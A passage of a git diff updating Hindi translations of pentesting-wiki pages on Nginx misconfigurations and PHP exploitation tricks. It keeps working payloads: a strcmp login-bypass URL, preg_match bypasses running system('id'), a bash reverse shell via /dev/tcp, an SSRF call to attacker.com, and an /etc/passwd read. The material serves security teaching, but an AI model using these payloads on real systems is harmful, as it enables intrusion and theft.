पर सेट होता है, जो एक URL में कई फॉरवर्ड स्लैश को एकल स्लैश में संकुचित करता है। यह सुविधा, जबकि URL प्रसंस्करण को सरल बनाती है, Nginx के पीछे अनुप्रयोगों में कमजोरियों को अनजाने में छिपा सकती है, विशेष रूप से स्थानीय फ़ाइल समावेश (LFI) हमलों के प्रति संवेदनशील। सुरक्षा विशेषज्ञ **Danny Robinson और Rotem Bar** ने इस डिफ़ॉल्ट व्यवहार से जुड़े संभावित जोखिमों को उजागर किया है, विशेष रूप से जब Nginx एक रिवर्स-प्रॉक्सी के रूप में कार्य करता है। @@ -180,7 +180,7 @@ proxy_hide_header Secret-Header; ### **Map Directive में डिफ़ॉल्ट मान** -**Nginx कॉन्फ़िगरेशन** में, `map` निर्देश अक्सर **अधिकार नियंत्रण** में भूमिका निभाता है। एक सामान्य गलती **डिफ़ॉल्ट** मान निर्दिष्ट न करना है, जो अनधिकृत पहुंच का कारण बन सकता है। उदाहरण के लिए: +**Nginx कॉन्फ़िगरेशन** में, `map` निर्देश अक्सर **अधिकार नियंत्रण** में एक भूमिका निभाता है। एक सामान्य गलती **डिफ़ॉल्ट** मान निर्दिष्ट न करना है, जो अनधिकृत पहुंच का कारण बन सकता है। उदाहरण के लिए: ```yaml http { map $uri $mappocallow { diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 25e795476..4d15d831d 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -31,11 +31,11 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ {% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} -- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती, वह एक संख्या के बराबर होती है +- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती, वह संख्या के बराबर होती है - `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग्स जो दशमलव या हेक्स प्रारूप में हैं, अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती हैं यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं) - `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ से आगे बढ़ने वाली स्ट्रिंग 0 के बराबर होगी -- `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और किसी भी चीज़ से आगे बढ़ने वाली स्ट्रिंग 0 के बराबर होगी -- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X किसी भी अक्षर हो सकता है) और किसी भी चीज़ से आगे बढ़ने वाली स्ट्रिंग 0 के बराबर होगी +- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के हो, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर int 0 के बराबर होता है अधिक जानकारी के लिए [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -52,7 +52,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -यदि इस फ़ंक्शन का उपयोग **किसी भी प्रमाणीकरण जांच** के लिए किया जाता है (जैसे पासवर्ड की जांच करना) और उपयोगकर्ता तुलना के एक पक्ष को नियंत्रित करता है, तो वह पासवर्ड के मान के रूप में एक खाली ऐरे भेज सकता है (`https://example.com/login.php/?username=admin&password[]=`) और इस जांच को बायपास कर सकता है: +यदि इस फ़ंक्शन का उपयोग **किसी भी प्रमाणीकरण जांच** के लिए किया जाता है (जैसे पासवर्ड की जांच करना) और उपयोगकर्ता तुलना के एक पक्ष को नियंत्रित करता है, तो वह पासवर्ड के मान के रूप में एक स्ट्रिंग के बजाय एक खाली एरे भेज सकता है (`https://example.com/login.php/?username=admin&password[]=`) और इस जांच को बायपास कर सकता है: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -94,10 +94,10 @@ echo preg_match("/^.*1.*$/",$myinput); ``` यहाँ एक उदाहरण खोजें: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) -#### **Length error bypass** +#### **लंबाई त्रुटि बायपास** (यह बायपास स्पष्ट रूप से PHP 5.2.5 पर आजमाया गया था और मैं इसे PHP 7.3.15 पर काम नहीं करवा सका)\ -यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है, तो आप भेज सकते हैं: +यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे संसाधित नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है, तो आप भेज सकते हैं: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -119,7 +119,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP ओब्फ़स्केशन के लिए टाइप जुग्लिंग +### PHP ऑबफस्केशन के लिए टाइप जगलिंग ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -142,7 +142,7 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## पथ ट्रैवर्सल और फ़ाइल समावेशन शोषण +## पथ ट्रैवर्सल और फ़ाइल समावेश शोषण Check: @@ -154,14 +154,14 @@ Check: - **register_globals**: **PHP < 4.1.1.1** में या यदि गलत कॉन्फ़िगर किया गया हो, तो **register_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET यदि उनके पास एक मान है जैसे $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं\*\* जो कोड के भीतर उपयोग किए जाते हैं। - **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी के पथ को एक्सेस करता है** दूसरे पथ कुकी के मान को सेट करके।\ -इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को path2 में उसके अनुसार नाम देकर)। +इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को उस नाम के साथ देने से जो path2 में इसके लिए संबंधित है)। - जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता जांचें: **/\~\** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं। - [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/) ### password_hash/password_verify ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड हैश की तुलना में सही है।\ -समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** में **72बाइट्स के इनपुट में आकार की सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72बाइट्स से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा: +समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** का **इनपुट में 72bytes का आकार सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72bytes से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -183,8 +183,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### हेडर सेट करने से पहले एक बॉडी भरना -यदि एक **PHP पृष्ठ त्रुटियाँ प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा सामग्री प्रिंट करने** के लिए मजबूर कर सकता है कि जब यह **उत्तर में हेडर जोड़ने** की कोशिश करता है तो सर्वर एक त्रुटि फेंक देगा।\ -निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़ी त्रुटियाँ फेंकने** के लिए मजबूर किया, और जैसा कि आप स्क्रीन में देख सकते हैं जब PHP ने **हेडर जानकारी को संशोधित करने** की कोशिश की, यह नहीं कर सका (तो उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया): +यदि एक **PHP पृष्ठ त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा सामग्री प्रिंट करने** के लिए मजबूर कर सकता है कि जब यह **उत्तर में हेडर जोड़ने** की कोशिश करता है तो सर्वर एक त्रुटि फेंक देगा।\ +निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़े त्रुटियाँ फेंकने** के लिए मजबूर किया, और जैसा कि आप स्क्रीन में देख सकते हैं जब PHP ने **हेडर जानकारी को संशोधित करने** की कोशिश की, यह नहीं कर सका (तो उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया): ![](<../../../images/image (1085).png>) @@ -258,7 +258,7 @@ usort();}phpinfo;#, "cmp"); ``` आप **//** का उपयोग शेष कोड को टिप्पणी करने के लिए भी कर सकते हैं। -बंद करने के लिए आवश्यक कोष्ठकों की संख्या का पता लगाने के लिए: +आपको बंद करने के लिए आवश्यक कोष्ठकों की संख्या खोजने के लिए: - `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हम एक या अधिक कोष्ठक खो रहे हैं। - `?order=id);}//`: हमें एक **चेतावनी** मिलती है। यह सही लगता है। @@ -266,7 +266,7 @@ usort();}phpinfo;#, "cmp"); ### **RCE via .httaccess** -यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजों को **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते हुए कि .htaccess एक्सटेंशन वाली फ़ाइलें **निष्पादित** की जा सकती हैं)। +यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजों को **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते हुए कि .htaccess एक्सटेंशन वाले फ़ाइलों को **निष्पादित** किया जा सकता है)। विभिन्न .htaccess शेल [यहां](https://github.com/wireghoul/htshells) मिल सकते हैं। @@ -274,11 +274,11 @@ usort();}phpinfo;#, "cmp"); यदि आप एक भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं। -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरी लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)। -- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**। -1. हमारे शेलकोड वाला PHP फ़ाइल अपलोड करें -2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करें -3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें। +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरीज़ लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)। +- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**। +1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें +2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि पहले चरण में अपलोड की गई फ़ाइल को निष्पादित करें +3. `PHPRC` वेरिएबल को दूसरे चरण में अपलोड की गई फ़ाइल पर सेट करें। - इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)। - **PHPRC** - एक और विकल्प - यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है: diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 9a17a3af2..877d1e6d6 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -6,7 +6,7 @@ ## परिचय -नए मनमाने ऑब्जेक्ट्स का निर्माण, जैसे `new $_GET["a"]($_GET["a"])`, रिमोट कोड निष्पादन (RCE) का कारण बन सकता है, जैसा कि एक [**लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में विस्तृत किया गया है। यह दस्तावेज़ RCE प्राप्त करने के लिए विभिन्न रणनीतियों को उजागर करता है। +नए मनमाने ऑब्जेक्ट्स का निर्माण, जैसे कि `new $_GET["a"]($_GET["a"])`, रिमोट कोड निष्पादन (RCE) की ओर ले जा सकता है, जैसा कि एक [**लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में विस्तृत किया गया है। यह दस्तावेज़ RCE प्राप्त करने के लिए विभिन्न रणनीतियों को उजागर करता है। ## कस्टम क्लासेस या ऑटोलोडिंग के माध्यम से RCE @@ -33,7 +33,7 @@ new $a($b); ``` इस मामले में, `$a` को `App` या `App2` पर सेट करना और `$b` को एक सिस्टम कमांड (जैसे, `uname -a`) पर सेट करना उस कमांड के निष्पादन का परिणाम देता है। -**ऑटोलोडिंग फ़ंक्शन** का लाभ उठाया जा सकता है यदि ऐसी कोई कक्षाएँ सीधे सुलभ नहीं हैं। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से कक्षाओं को स्वचालित रूप से लोड करते हैं और इन्हें `spl_autoload_register` या `__autoload` का उपयोग करके परिभाषित किया जाता है: +**ऑटोलोडिंग फ़ंक्शन** का शोषण किया जा सकता है यदि ऐसी कोई कक्षाएँ सीधे सुलभ नहीं हैं। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से कक्षाओं को स्वचालित रूप से लोड करते हैं और इन्हें `spl_autoload_register` या `__autoload` का उपयोग करके परिभाषित किया जाता है: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,11 +45,11 @@ include $class_name . '.php'; spl_autoload_register(); ``` -PHP संस्करणों के साथ ऑटो लोडिंग का व्यवहार भिन्न होता है, जो विभिन्न RCE संभावनाएँ प्रदान करता है। +autoloading का व्यवहार PHP संस्करणों के साथ भिन्न होता है, जो विभिन्न RCE संभावनाएँ प्रदान करता है। -## अंतर्निहित कक्षाओं के माध्यम से RCE +## Built-In Classes के माध्यम से RCE -कस्टम कक्षाओं या ऑटो लोडर्स की कमी में, **अंतर्निहित PHP कक्षाएँ** RCE के लिए पर्याप्त हो सकती हैं। इन कक्षाओं की संख्या PHP संस्करण और एक्सटेंशन के आधार पर 100 से 200 के बीच होती है। इन्हें `get_declared_classes()` का उपयोग करके सूचीबद्ध किया जा सकता है। +कस्टम क्लास या ऑटोलोडर्स की कमी में, **built-in PHP classes** RCE के लिए पर्याप्त हो सकती हैं। इन क्लासों की संख्या PHP संस्करण और एक्सटेंशन के आधार पर 100 से 200 के बीच होती है। इन्हें `get_declared_classes()` का उपयोग करके सूचीबद्ध किया जा सकता है। रिफ्लेक्शन API के माध्यम से रुचि के कंस्ट्रक्टर्स की पहचान की जा सकती है, जैसा कि निम्नलिखित उदाहरण और लिंक [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) में दिखाया गया है। @@ -57,7 +57,7 @@ PHP संस्करणों के साथ ऑटो लोडिंग ### **SSRF + Phar Deserialization** -`SplFileObject` कक्षा अपने कंस्ट्रक्टर के माध्यम से SSRF को सक्षम बनाती है, जो किसी भी URL से कनेक्शन की अनुमति देती है: +`SplFileObject` क्लास अपने कंस्ट्रक्टर के माध्यम से SSRF को सक्षम बनाती है, जो किसी भी URL से कनेक्शन की अनुमति देती है: ```php new SplFileObject('http://attacker.com/'); ``` @@ -71,11 +71,11 @@ new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -PHP के संस्करण 5.3.22 और 5.4.12 `SoapClient` और `SimpleXMLElement` कंस्ट्रक्टर्स के माध्यम से XXE हमलों के प्रति संवेदनशील थे, जो libxml2 के संस्करण पर निर्भर करते हैं। +PHP के 5.3.22 और 5.4.12 तक के संस्करण `SoapClient` और `SimpleXMLElement` कंस्ट्रक्टर्स के माध्यम से XXE हमलों के प्रति संवेदनशील थे, जो libxml2 के संस्करण पर निर्भर करते हैं। ## RCE via Imagick Extension -एक **प्रोजेक्ट की निर्भरताओं** के विश्लेषण में, यह पाया गया कि **Imagick** का उपयोग **कमांड निष्पादन** के लिए नए ऑब्जेक्ट्स को इंस्टेंटिएट करके किया जा सकता है। यह कमजोरियों का शोषण करने का एक अवसर प्रस्तुत करता है। +एक **प्रोजेक्ट की निर्भरताओं** के विश्लेषण में, यह पाया गया कि **Imagick** का उपयोग **कमांड निष्पादन** के लिए नए ऑब्जेक्ट्स को इंस्टेंटिएट करके किया जा सकता है। यह कमजोरियों का लाभ उठाने का एक अवसर प्रस्तुत करता है। ### VID parser @@ -83,11 +83,11 @@ PHP के संस्करण 5.3.22 और 5.4.12 `SoapClient` और `Simpl #### VID Parser + File Upload -यह नोट किया गया है कि PHP अस्थायी रूप से अपलोड की गई फ़ाइलों को `/tmp/phpXXXXXX` में संग्रहीत करता है। Imagick में VID parser, **msl** प्रोटोकॉल का उपयोग करते हुए, फ़ाइल पथ में वाइल्डकार्ड को संभाल सकता है, जिससे अस्थायी फ़ाइल को चुने हुए स्थान पर स्थानांतरित करना संभव होता है। यह विधि फाइल सिस्टम के भीतर मनमाने फ़ाइल लेखन को प्राप्त करने के लिए एक अतिरिक्त दृष्टिकोण प्रदान करती है। +यह noted किया गया है कि PHP अस्थायी रूप से अपलोड की गई फ़ाइलों को `/tmp/phpXXXXXX` में संग्रहीत करता है। Imagick में VID parser, **msl** प्रोटोकॉल का उपयोग करते हुए, फ़ाइल पथ में वाइल्डकार्ड को संभाल सकता है, जिससे अस्थायी फ़ाइल को चुने हुए स्थान पर स्थानांतरित करना संभव होता है। यह विधि फाइल सिस्टम के भीतर मनमाने फ़ाइल लेखन को प्राप्त करने के लिए एक अतिरिक्त दृष्टिकोण प्रदान करती है। ### PHP Crash + Brute Force -[**मूल लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में वर्णित एक विधि में उन फ़ाइलों को अपलोड करना शामिल है जो हटाने से पहले सर्वर क्रैश को ट्रिगर करती हैं। अस्थायी फ़ाइल के नाम को ब्रूट-फोर्स करके, Imagick के लिए मनमाना PHP कोड निष्पादित करना संभव हो जाता है। हालाँकि, यह तकनीक केवल ImageMagick के एक पुराने संस्करण में प्रभावी पाई गई। +[**मूल लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में वर्णित एक विधि में ऐसी फ़ाइलें अपलोड करना शामिल है जो हटाने से पहले सर्वर क्रैश को ट्रिगर करती हैं। अस्थायी फ़ाइल के नाम को ब्रूट-फोर्स करके, Imagick के लिए मनमाना PHP कोड निष्पादित करना संभव हो जाता है। हालाँकि, यह तकनीक केवल ImageMagick के एक पुराने संस्करण में प्रभावी पाई गई। ## References diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index d136ff404..a492315eb 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -45,7 +45,7 @@ Connection: close > [!WARNING] > उस CRLF vuln के बारे में अधिक जानकारी के लिए, इस बग की जांच करें [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680&edit=1) -ध्यान दें कि इन फ़ंक्शंस में अनुरोधों में मनमाने हेडर सेट करने के अन्य तरीके हो सकते हैं, जैसे: +ध्यान दें कि इन फ़ंक्शंस में अनुरोधों में मनमाने हेडर सेट करने के लिए अन्य तरीके हो सकते हैं, जैसे: ```php $url = ""; diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 189fc7a73..47adc1bee 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -24,7 +24,7 @@ echo system("uname -a"); ```bash echo shell_exec("uname -a"); ``` -\`\` (backticks) - shell_exec() के समान +\`\` (बैकटिक) - shell_exec() के समान ```bash echo `uname -a` ``` @@ -40,7 +40,7 @@ proc_close(proc_open("uname -a",array(),$something)); ```php ``` -**pcntl_exec** - एक प्रोग्राम को निष्पादित करता है (आधुनिक और नॉन-मॉडर्न PHP में, आपको इस फ़ंक्शन का उपयोग करने के लिए `pcntl.so` मॉड्यूल लोड करने की आवश्यकता है) +**pcntl_exec** - एक प्रोग्राम को निष्पादित करता है (डिफ़ॉल्ट रूप से आधुनिक और नॉन-मॉडर्न PHP में, इस फ़ंक्शन का उपयोग करने के लिए आपको `pcntl.so` मॉड्यूल लोड करने की आवश्यकता है) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` @@ -85,8 +85,8 @@ PHP सेटिंग को _/etc/php7/conf.d_ या समान पथ म ## open_basedir Bypass -`open_basedir` उन फ़ोल्डरों को कॉन्फ़िगर करेगा जिन्हें PHP एक्सेस कर सकता है, आप **उन फ़ोल्डरों के बाहर** कोई फ़ाइल लिखने/पढ़ने/निष्पादित करने में **असमर्थ** होंगे, लेकिन आप **अन्य निर्देशिकाओं को सूचीबद्ध** करने में भी **असमर्थ** होंगे।\ -हालांकि, यदि किसी तरह आप मनमाना PHP कोड निष्पादित करने में सक्षम हैं, तो आप **निषेध** को **बायपास** करने के लिए निम्नलिखित **codes** के टुकड़े को **कोशिश** कर सकते हैं। +`open_basedir` उन फ़ोल्डरों को कॉन्फ़िगर करेगा जिन्हें PHP एक्सेस कर सकता है, आप **उन फ़ोल्डरों के बाहर** कोई फ़ाइल लिख/read/execute नहीं कर पाएंगे, लेकिन आप **अन्य निर्देशिकाओं को सूचीबद्ध** भी नहीं कर पाएंगे।\ +हालांकि, यदि किसी तरह आप मनमाना PHP कोड निष्पादित करने में सक्षम हैं, तो आप **निषेध** को **बायपास** करने के लिए निम्नलिखित **कोड** के टुकड़े को **कोशिश** कर सकते हैं। ### Listing dirs with glob:// bypass @@ -472,9 +472,9 @@ $params = array( echo $client->request($params, $code)."\n"; ?> ``` -यह स्क्रिप्ट **php-fpm के यूनिक्स सॉकेट** के साथ संवाद करेगी (जो आमतौर पर /var/run में स्थित होता है यदि fpm का उपयोग किया जाता है) ताकि मनमाना कोड निष्पादित किया जा सके। `open_basedir` सेटिंग्स को **PHP_VALUE** विशेषता द्वारा अधिलेखित किया जाएगा जो भेजी जाती है।\ -ध्यान दें कि `eval` का उपयोग आपके द्वारा भेजे गए PHP कोड को **cmd** पैरामीटर के अंदर निष्पादित करने के लिए किया जाता है।\ -यह भी ध्यान दें कि **commented line 324**, आप इसे अनकमेंट कर सकते हैं और **पेलोड स्वचालित रूप से दिए गए URL से कनेक्ट होगा और वहां निहित PHP कोड को निष्पादित करेगा।**\ +ये स्क्रिप्ट **php-fpm के unix socket** के साथ संवाद करेगी (जो आमतौर पर /var/run में स्थित होता है यदि fpm का उपयोग किया जाता है) ताकि मनमाना कोड निष्पादित किया जा सके। `open_basedir` सेटिंग्स को **PHP_VALUE** विशेषता द्वारा अधिलेखित किया जाएगा जो भेजी जाती है।\ +ध्यान दें कि `eval` का उपयोग PHP कोड निष्पादित करने के लिए किया जाता है जो आप **cmd** पैरामीटर के अंदर भेजते हैं।\ +इसके अलावा, **commented line 324** पर ध्यान दें, आप इसे अनकमेंट कर सकते हैं और **payload स्वचालित रूप से दिए गए URL से कनेक्ट होगा और वहां निहित PHP कोड को निष्पादित करेगा।**\ बस `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` पर जाएं ताकि `/etc/passwd` फ़ाइल की सामग्री प्राप्त की जा सके। > [!WARNING] @@ -482,20 +482,20 @@ echo $client->request($params, $code)."\n"; ## disable_functions Bypass -यदि आप किसी मशीन के अंदर PHP कोड निष्पादित करने में सफल होते हैं, तो आप शायद अगले स्तर पर जाना चाहेंगे और **मनमाने सिस्टम कमांड्स को निष्पादित करना** चाहेंगे। इस स्थिति में यह सामान्य है कि अधिकांश या सभी PHP **फंक्शंस** जो **सिस्टम कमांड्स को निष्पादित करने की अनुमति देते हैं, **`disable_functions`** में **निष्क्रिय** कर दिए गए हैं।\ +यदि आप किसी मशीन के अंदर PHP कोड निष्पादित करने में सफल होते हैं, तो आप शायद अगले स्तर पर जाना चाहेंगे और **मनमाने सिस्टम कमांड्स को 